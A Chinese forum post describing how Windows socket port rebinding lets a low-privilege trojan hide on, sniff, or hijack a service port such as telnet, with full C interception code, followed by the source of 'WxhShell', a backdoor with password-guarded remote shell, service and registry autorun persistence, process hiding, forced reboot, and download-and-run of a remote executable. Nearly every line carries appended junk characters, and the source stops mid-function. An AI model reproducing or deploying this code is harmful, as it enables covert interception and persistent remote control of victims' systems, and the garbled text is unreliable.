社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 18727阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: W5uC5C*,l  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); wii.0~p  
w5+(A_  
  saddr.sin_family = AF_INET; Yc:>Yzj(z  
Z5V_?bm$  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); a"{b}UP  
yRivf.wH  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ok1w4#%,  
_ G$21=  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 0}` 0!Kv  
WR9-HPF  
  这意味着什么?意味着可以进行如下的攻击: }vb.>hy  
P\y ZcL  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 0Of6$`  
C';Dc4j  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 2c'<rkA  
*&z !y/  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 RGLJaEl !  
7sU+:a  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  qL?$u07<9'  
FMtg7+Q|>  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 sk5B} -  
t=\ ffpA  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Mn 8| K nh  
9JqT"zj  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 u f1s}/M  
x9o(q`N  
  #include t~|`RMn"  
  #include ?@^gpVK{  
  #include "H9q%S,FH  
  #include    6"9(ce KX  
  DWORD WINAPI ClientThread(LPVOID lpParam);   K}DrJ/s  
  int main() ,:{+-v(  
  { mLV0J '  
  WORD wVersionRequested; (~NR."s;  
  DWORD ret; Qoa&]]  
  WSADATA wsaData; uvRX{q 4  
  BOOL val; 5 0dx[v8  
  SOCKADDR_IN saddr; pQ xv_4  
  SOCKADDR_IN scaddr; ezA&cZ5  
  int err; WQ9VcCY  
  SOCKET s; Ri3*au/Q  
  SOCKET sc; 5S ) N&%  
  int caddsize; zCS&w ~  
  HANDLE mt; Rw<O%i5/d  
  DWORD tid;   .7+"KP:  
  wVersionRequested = MAKEWORD( 2, 2 ); '(zP;  
  err = WSAStartup( wVersionRequested, &wsaData ); QJ%N80  
  if ( err != 0 ) {  O[$XgPM  
  printf("error!WSAStartup failed!\n"); l>6p')F!  
  return -1; Zul@aS !  
  } fjMmlp  
  saddr.sin_family = AF_INET; xP 7mP+D  
   N"7BV  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 (_Th4'(@Y  
M}`T-"qf  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); I0N~>SpZ5  
  saddr.sin_port = htons(23); ]l"9B'XR  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) SB:z[kfz|  
  { )K]<\Q[  
  printf("error!socket failed!\n"); " eS-i@  
  return -1; Z?qc4Cg  
  } lpjby[S  
  val = TRUE; k&:~l@?O  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 :|-^et]a8  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 7HJH9@8V  
  { #@ F   
  printf("error!setsockopt failed!\n"); RLO<5L  
  return -1; @cQ |`  
  } EvT"+;9/p  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ($!g= 7  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ;)vs=DK:)  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 4O4}C#6(4  
z`YAOhD*h4  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 8mC$p6Okd  
  { lI3d _cU  
  ret=GetLastError(); p::`1  
  printf("error!bind failed!\n"); @vO~'Xxq!  
  return -1; >ktekO:H  
  } 6ZQ$5PY  
  listen(s,2); D77$aCt  
  while(1) bR J]avR  
  { ^vZu[ m  
  caddsize = sizeof(scaddr); 6&btAwvOHx  
  //接受连接请求 >}r 1A  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ;+n25_9  
  if(sc!=INVALID_SOCKET) S-79uo  
  { (\4YBaGd  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); /S9n!H:MT  
  if(mt==NULL) &-KQ m20n  
  { `a8&7 J(  
  printf("Thread Creat Failed!\n"); 9 1ec^g  
  break; y(j vl|z[  
  } ,w,)n^  
  } +$R%Vbd  
  CloseHandle(mt); 6-\C?w A  
  } N::.o+1  
  closesocket(s); 'EB5#  
  WSACleanup(); p]6/1&t="  
  return 0; w!RJ8  
  }   sh%%U  
  DWORD WINAPI ClientThread(LPVOID lpParam) "R[6Q ^vw  
  { -];Hb'M.!e  
  SOCKET ss = (SOCKET)lpParam; ^ lG^.  
  SOCKET sc; ze`qf%  
  unsigned char buf[4096]; scZ'/(b-E  
  SOCKADDR_IN saddr; Oe0dC9H  
  long num; (Li)@Cn%  
  DWORD val; UO' X"`  
  DWORD ret; 3ZqtIQY`  
  //如果是隐藏端口应用的话,可以在此处加一些判断 <7oZV^nd *  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   D[(T--LLT  
  saddr.sin_family = AF_INET; nN(Q}bF  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ;z o?o t/  
  saddr.sin_port = htons(23); HqA3.<=F,  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?e23[  
  { 9!wm`'G8  
  printf("error!socket failed!\n"); ,]=Qg n  
  return -1; }9?fb[]  
  } .-: 6L2  
  val = 100; pXe]hnY  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *4 Kc "M  
  { QezDm^<  
  ret = GetLastError(); S4%MnT6Uy  
  return -1; )Ju$PrO  
  } |bmc6G[  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _aOsFFB1KF  
  { }J:WbIr0!  
  ret = GetLastError(); .DcuJC=  
  return -1; NAfu$7  
  } W97 &[([  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) r<.*:]L  
  { ]GPUL>7  
  printf("error!socket connect failed!\n"); Q$2^m(?;  
  closesocket(sc); |)Sx"B)  
  closesocket(ss); yGPi9j{QXq  
  return -1; +,}CuF  
  } 0'Qo eFKG  
  while(1) 2 Xc,c*r  
  { i{ 2rQy+  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。  h93  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 EB>rY  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 q8vRUlf  
  num = recv(ss,buf,4096,0); [>f4&yY  
  if(num>0) @0rwvyE=+3  
  send(sc,buf,num,0); !O#NP!   
  else if(num==0) 9rQpKq:# E  
  break; [u`9R<>c"U  
  num = recv(sc,buf,4096,0); FZtILlw  
  if(num>0) w5}2$r  
  send(ss,buf,num,0); _:9-x;0H2  
  else if(num==0) "zN]gz=OV>  
  break; L QP4#7  
  } [es-&X07<  
  closesocket(ss); yO0 9NQ 5u  
  closesocket(sc); &MF%zJ6  
  return 0 ; 5P <  F  
  } agW#"9]WM  
zf^F.wW  
x^ ]1m%  
========================================================== ppM^&6x^  
'^.}5be&  
下边附上一个代码,,WXhSHELL ic|>JX$G  
} g[(h=Qi  
========================================================== NYZI;P1DA  
^k}jPc6  
#include "stdafx.h" #&c}i n"!  
^<O:`c6_  
#include <stdio.h> cc$+"7/J^c  
#include <string.h> REwZ41   
#include <windows.h> w`OHNwXh#I  
#include <winsock2.h> oGi{d5  
#include <winsvc.h> cX/ ["AM  
#include <urlmon.h> kP}91kja  
k`Ifd:V.y  
#pragma comment (lib, "Ws2_32.lib") G!IJ#|D:~  
#pragma comment (lib, "urlmon.lib") (1b%);L7  
R?[KK<sWWe  
#define MAX_USER   100 // 最大客户端连接数 c{t(),nAA  
#define BUF_SOCK   200 // sock buffer  ~WG#Zci-  
#define KEY_BUFF   255 // 输入 buffer p![CH  
&za~=+  
#define REBOOT     0   // 重启 ssC5YtF7X  
#define SHUTDOWN   1   // 关机 tmI2BBv  
ocT.2/~d  
#define DEF_PORT   5000 // 监听端口 l~Sn`%PgA  
sGD b<  
#define REG_LEN     16   // 注册表键长度 Qf]ACN  
#define SVC_LEN     80   // NT服务名长度 Bx32pY  
JMq00_  
// 从dll定义API Px))O&w{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~8G<Nw4*\  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); L3- tD67oa  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :S5B3S@|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); oLp:Z=  
_*Z2</5  
// wxhshell配置信息 jVpk) ;vC  
struct WSCFG { !]k$a  
  int ws_port;         // 监听端口 3_tO  
  char ws_passstr[REG_LEN]; // 口令 Kr]`.@/.S  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]gQ4qu5  
  char ws_regname[REG_LEN]; // 注册表键名 5:H9B  
  char ws_svcname[REG_LEN]; // 服务名 *xOrt)D=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 DHV#PLbN$  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 T9+ ?A l  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +}@HtjM  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [UHDN:y  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" cHMS[.=;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Y+tXWN"8  
=NzA2td  
}; m ,U`hPJ  
@"#W\m8  
// default Wxhshell configuration 6"W~%FSJX  
struct WSCFG wscfg={DEF_PORT, }]H_|V*f  
    "xuhuanlingzhe", <j.bG 7  
    1, oA&V,r  
    "Wxhshell", \i=,[8t[r  
    "Wxhshell", }GCt)i_  
            "WxhShell Service", Oj*3'?<7=  
    "Wrsky Windows CmdShell Service", &` u<KKF6  
    "Please Input Your Password: ", 0iX;%SPYz  
  1, A8R}W=  
  "http://www.wrsky.com/wxhshell.exe", "3v[\M3  
  "Wxhshell.exe" y3K9rf  
    }; MD ,}-m  
[a*m9F\ ,  
// 消息定义模块 M"]~}*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  mq?5|`  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?1('s0s\,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <Dw`Ur^X5  
char *msg_ws_ext="\n\rExit."; !RnO{FL  
char *msg_ws_end="\n\rQuit."; \gL H_$}  
char *msg_ws_boot="\n\rReboot..."; 3~4e\xL  
char *msg_ws_poff="\n\rShutdown..."; 451r!U1Z  
char *msg_ws_down="\n\rSave to "; 4l$(#NB<  
HhaUC?JtSK  
char *msg_ws_err="\n\rErr!"; q@p-)+D;  
char *msg_ws_ok="\n\rOK!"; ! \H!9FR  
_e=R[  
char ExeFile[MAX_PATH]; 4cql?W(D  
int nUser = 0; ?s("@dz_  
HANDLE handles[MAX_USER]; d"|XN{  
int OsIsNt; V>j6Juh  
lV-7bZ  
SERVICE_STATUS       serviceStatus; _n(NPFV  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }xHoitOD  
~:f9,  
// 函数声明 %zs 1v]  
int Install(void); ` =!&9o  
int Uninstall(void); *Ri?mEv hF  
int DownloadFile(char *sURL, SOCKET wsh); .foM>UOY  
int Boot(int flag); ' @M  
void HideProc(void); dm&F1NkT  
int GetOsVer(void); 9LGJ-gL  
int Wxhshell(SOCKET wsl); 0!rU,74I=  
void TalkWithClient(void *cs); H'$g!Pg  
int CmdShell(SOCKET sock); F t%f"Z  
int StartFromService(void); K^k1]!W=  
int StartWxhshell(LPSTR lpCmdLine); h@T}WZv  
SQ)$>3>C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); l'(Cxhf.W  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); {b>tX)Tep  
"2X=i`rTi  
// 数据结构和表定义 jBV2]..  
SERVICE_TABLE_ENTRY DispatchTable[] = uRQm.8b  
{ SU9#Y|I  
{wscfg.ws_svcname, NTServiceMain}, Pn5@7~  
{NULL, NULL} lC +p2OG^[  
}; o*\kg+8  
T"'"T]^ X  
// 自我安装 `/<KDd:_t  
int Install(void) h FP$MFab  
{ S?%V o* Y  
  char svExeFile[MAX_PATH]; 8h~v%aZ1  
  HKEY key; uRKCvsisX  
  strcpy(svExeFile,ExeFile); n\5` JNCb  
sf]y\_zU  
// 如果是win9x系统,修改注册表设为自启动 #"6(Q2| l  
if(!OsIsNt) { {>G\3|^D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s@f4f__(]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l0g#&V--  
  RegCloseKey(key); Z bxd,|<|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -Xkdu?6Eh  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 28-6(oG  
  RegCloseKey(key); *~fZ9EkD  
  return 0; Y2j>lf?8  
    } <oPo?r|oM|  
  } Bm%:Qc*  
} xmTa$tR+  
else { N<:5 r  
`pN"T?Pk  
// 如果是NT以上系统,安装为系统服务 d5]9FIj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Y*O7lZuF%  
if (schSCManager!=0) S)z jfJR  
{ ,:QG%Et  
  SC_HANDLE schService = CreateService [b J/$A  
  ( X4&{/;$  
  schSCManager, : KZI+  
  wscfg.ws_svcname, 7C ABM  
  wscfg.ws_svcdisp, ^v3ytS  
  SERVICE_ALL_ACCESS, )ye[R^!}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  ^DVr>u  
  SERVICE_AUTO_START, //:.k#}~B  
  SERVICE_ERROR_NORMAL, 1&Rz'JQ+  
  svExeFile, Oe^3YOR#j{  
  NULL, Vy{=Y(cpF2  
  NULL, SMk{159q&  
  NULL, ?b:J6(-  
  NULL, {.z2n>1J{T  
  NULL AShJt xxa  
  ); tz&=v,_jc  
  if (schService!=0) z['>`Kt  
  { *4r 1g+0  
  CloseServiceHandle(schService); ];^A8?  
  CloseServiceHandle(schSCManager); ?)7uwJsH  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); zrE ~%YR  
  strcat(svExeFile,wscfg.ws_svcname); on(F8%]zE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { z}s0D]$+x  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?.IT!M}DR  
  RegCloseKey(key); 2;5EH 0  
  return 0; !k||-Q &  
    } 6t TLyI$+  
  } r`i<XGPJ%  
  CloseServiceHandle(schSCManager); -Duy: C6W  
} 06pLa3oi  
} s9~W( Wi  
c&3 ]%urL  
return 1; P`5@$1CJ  
} \)DP(wC  
u1ggLH!U  
// 自我卸载  e1S |&W8  
int Uninstall(void) /lm;.7_J+  
{ K-)_1  
  HKEY key; q>%KIBh(  
Yp./3b VO  
if(!OsIsNt) { n%3rv?m7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /P5w}n  
  RegDeleteValue(key,wscfg.ws_regname); a =*(>=  
  RegCloseKey(key); NUEy0pLw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { OTL=(k  
  RegDeleteValue(key,wscfg.ws_regname); 5Qo\0YH  
  RegCloseKey(key); ~LuZ pV  
  return 0; N/TU cG|m\  
  } rv&(yA  
} S$+vRX7  
} Bra>C  
else {  <G{m=  
yd`xmc)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); h5U@Ys  
if (schSCManager!=0) fr;>`u[;  
{ /lx\9S|  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); R?(0:f  
  if (schService!=0) (i1FMd}G  
  { ?7@B$OlU  
  if(DeleteService(schService)!=0) { j=r`[B m  
  CloseServiceHandle(schService); o  <0f  
  CloseServiceHandle(schSCManager); ,<zGvksk  
  return 0; )~T)$TS  
  } _jR%o1Y}  
  CloseServiceHandle(schService); dfiA- h  
  } h$ DFp  
  CloseServiceHandle(schSCManager); OlK3xdg7  
} ~+A?!f;-J  
} 2Auhv!xV  
gtyo~f  
return 1; MmI4J$F  
} rBkLwJ]  
pB&3JmgR$)  
// 从指定url下载文件 Nlx7"_R"Q  
int DownloadFile(char *sURL, SOCKET wsh) _:Tjq)  
{ M3odyO(  
  HRESULT hr; BZ">N  
char seps[]= "/"; Ha@'%<gFe  
char *token; sk\U[#ohH  
char *file; 1%]| O  
char myURL[MAX_PATH]; 1LZ?!Lw  
char myFILE[MAX_PATH]; (#BkL:dg  
ePq(:ih  
strcpy(myURL,sURL); ;RflzY|D  
  token=strtok(myURL,seps); :`2<SF^0O  
  while(token!=NULL) A)kx,,[  
  { ]U!vZY@\  
    file=token; f'0n^mSP  
  token=strtok(NULL,seps); aA-A>z  
  } sHyhR:  
^rfY9qMJr8  
GetCurrentDirectory(MAX_PATH,myFILE); [!]a' T#x  
strcat(myFILE, "\\"); L$cNxz0$  
strcat(myFILE, file); #M$[C d I$  
  send(wsh,myFILE,strlen(myFILE),0); Jor >YB`X  
send(wsh,"...",3,0); -GD_xk  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "yCCei,hA?  
  if(hr==S_OK) NEa :  
return 0; &W-L`aFd0  
else wOOBW0tj  
return 1; 7cr@;%#  
V8ZE(0&II}  
} wdS^`nz|  
);_g2=:#  
// 系统电源模块 ]@Y8! ,  
int Boot(int flag) b4Br!PL@G  
{ 5B#q/d1/a  
  HANDLE hToken; ah1d0e P  
  TOKEN_PRIVILEGES tkp; G+stt(k:  
'C8VD+p  
  if(OsIsNt) { QM2Y?."#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); SG_^Rd9 D  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); L{jJDd  
    tkp.PrivilegeCount = 1; E0'+]"B  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; = I,O+^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); VLC<ju!  
if(flag==REBOOT) { B]L5K~d  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) U&yXs'3a&  
  return 0; .+MJ' bW  
} <+o-{{E[  
else { 'A;G[(SYy  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `uM:>  
  return 0; &PaqqU.  
} dF:@BEo  
  } QO0}-wZR  
  else { GwQW I ]  
if(flag==REBOOT) { k__iJsk  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) XAwo ~E  
  return 0; oG M Ls  
} A-^[4&rb  
else { Q1jU{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ig}G"GR  
  return 0; lT#&\JQ  
} #qrZ(,I@n  
} 6!dbJ5x1  
k!3X4;F!_  
return 1; |t+M/C0y/  
} g6{.C7m  
9]fhH  
// win9x进程隐藏模块 M(|Qvh{Q6  
void HideProc(void) v".q578 0B  
{ fftFNHP  
\ZX5dFu0  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); T]-yTsto  
  if ( hKernel != NULL ) eQu%TZ(x-$  
  { <f.*=/]W2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); gF-<%<RV  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Zu`; S#Y  
    FreeLibrary(hKernel); h6<abT@I  
  } ~T@t7Cg  
BZejqDr*  
return; |z\5Ik!fF]  
} |x@)%QeC  
7[h_"@_A7  
// 获取操作系统版本 XK??5'&{  
int GetOsVer(void) IROX]f}r(  
{ 4)0 %^\p  
  OSVERSIONINFO winfo; sd9$4k"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); i!+D ,O  
  GetVersionEx(&winfo); BLZ#vJR  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6r! Y ~\@  
  return 1; nlmc/1C  
  else :xJ]# t..  
  return 0; qX{"R.d  
} =y -L'z&r  
M4 SJnE  
// 客户端句柄模块 Cw42bO  
int Wxhshell(SOCKET wsl) 7 K.&zn  
{ J!5BH2bg  
  SOCKET wsh; U/F<r3.`#  
  struct sockaddr_in client; _Z?{&k  
  DWORD myID; @)PA9P |  
6(awO2{BP  
  while(nUser<MAX_USER) N`XJA-DE  
{ 56gpAc  
  int nSize=sizeof(client); U"$Q$ OFs  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Ck;O59A"&-  
  if(wsh==INVALID_SOCKET) return 1; 7?Q@Hj(:NT  
o#3?")>|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); y_EkW f  
if(handles[nUser]==0) uw!  
  closesocket(wsh); JwCv(1$GM  
else u$ [R>l9  
  nUser++; BCsz8U!  
  } MJNY#v3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); d]1%/$v^  
2{;&c  
  return 0; J$6h% Eyo  
} jJFWPD ] u  
<i{O\K]9  
// 关闭 socket N<lejZ}!q  
void CloseIt(SOCKET wsh) w1HE^ /  
{ rt">xVl  
closesocket(wsh); 7pMl:\  
nUser--; 3 i<,#FaL  
ExitThread(0); ?xEQ'(UBQ  
} /~3~Xc ~=p  
 :VwU2  
// 客户端请求句柄 +Go(y S  
void TalkWithClient(void *cs) :$k':0 n  
{ .N2yn`  
HR)Dz~Obw  
  SOCKET wsh=(SOCKET)cs; 5\93-e  
  char pwd[SVC_LEN]; s2f9 5<B  
  char cmd[KEY_BUFF]; J)1:jieQ  
char chr[1]; ~^d. zIN!  
int i,j; UjibQl 3:m  
<;O=h; ~|  
  while (nUser < MAX_USER) { ]=\Mf<  
m|q?gX9R  
if(wscfg.ws_passstr) { +./c=o/v  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); XMhDx  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y[%1?CREP  
  //ZeroMemory(pwd,KEY_BUFF); HScj  
      i=0; +|}R^x`z  
  while(i<SVC_LEN) { :g)0-gN   
k. bzh.  
  // 设置超时 E)==!T@E  
  fd_set FdRead; n]M1'yU  
  struct timeval TimeOut; \b {Aj,6,  
  FD_ZERO(&FdRead); u I$| M  
  FD_SET(wsh,&FdRead); OLXkiesK{  
  TimeOut.tv_sec=8; s_]p6M  
  TimeOut.tv_usec=0; $=dp)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); V]b1cDx{  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &<I*;z6%t  
*r!f! eA:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); { 3``To$  
  pwd=chr[0]; m87,N~DP  
  if(chr[0]==0xd || chr[0]==0xa) { k=w;jX&;`  
  pwd=0; mk>L:+  
  break; -H1mKZDPP  
  } 2p\CCzw  
  i++; ~wnTl[:  
    } &gJKJ=7  
}~P%S(zB  
  // 如果是非法用户,关闭 socket fDc>E+,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); p7(Pymkd  
} '\%c"?  
V:F;Nq%+j  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  w0QN5?  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e&[gde(  
qW]gp7jK4  
while(1) {  >)ZX  
Enee\!@v  
  ZeroMemory(cmd,KEY_BUFF); ~;St,Fw<<  
+EJwWDJ!%  
      // 自动支持客户端 telnet标准   +|.}oL^}G  
  j=0; !_GY\@}  
  while(j<KEY_BUFF) { 4)D#kP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mhnjY K9  
  cmd[j]=chr[0]; Zu(eYH=Q  
  if(chr[0]==0xa || chr[0]==0xd) { 8@%Xd^  
  cmd[j]=0; [% chN /  
  break; }Ictnb  
  } "=4`RM  
  j++; `-zdjc d  
    } *]2LN$  
$>E\3npV  
  // 下载文件 "bZV<;y6  
  if(strstr(cmd,"http://")) { \8\)5#?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); f.V;Hl,  
  if(DownloadFile(cmd,wsh)) qh Ezv~  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); V~LZ%NZ8  
  else YArNJ5z=  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1|Y(XB^os(  
  } 8f>=.O*)  
  else { }qfr&Ffh@  
8Ml&lfn_8  
    switch(cmd[0]) { A.7:.5Cx'  
  Dd|}LV  
  // 帮助 g-'y_'%0G  
  case '?': { zx^]3}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); h}xUZ:  
    break; #1R_* Uh  
  } 0 eZfHW&  
  // 安装 H"(:6 `  
  case 'i': { MhC74G  
    if(Install()) 0?uX}8w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k5G(7Ug=g~  
    else .d`+#1Ot(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T=cSTS!P;q  
    break; Rf@D]+v  
    } ;SQ<^"eK  
  // 卸载 Wd4fIegk  
  case 'r': { L/(e/Jalg  
    if(Uninstall()) 2&91C[da0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $;un$ko6%  
    else 5@c,iU-L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /^96|  
    break; !8&,GT  
    } a?'3  
  // 显示 wxhshell 所在路径 ;ak3 @Uee  
  case 'p': { xVoWGz7  
    char svExeFile[MAX_PATH]; O$x-&pW`g  
    strcpy(svExeFile,"\n\r"); 8 o8FL~&]  
      strcat(svExeFile,ExeFile); xrx{8pf  
        send(wsh,svExeFile,strlen(svExeFile),0); 1!/+~J[#  
    break; { frEVHw  
    } WO*yJ`9]  
  // 重启 I Vy,A7f  
  case 'b': { Bc}<B:q%b  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `7jm   
    if(Boot(REBOOT)) 7'FDI`e[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X:-X3mV9{  
    else { :NU-C!eT  
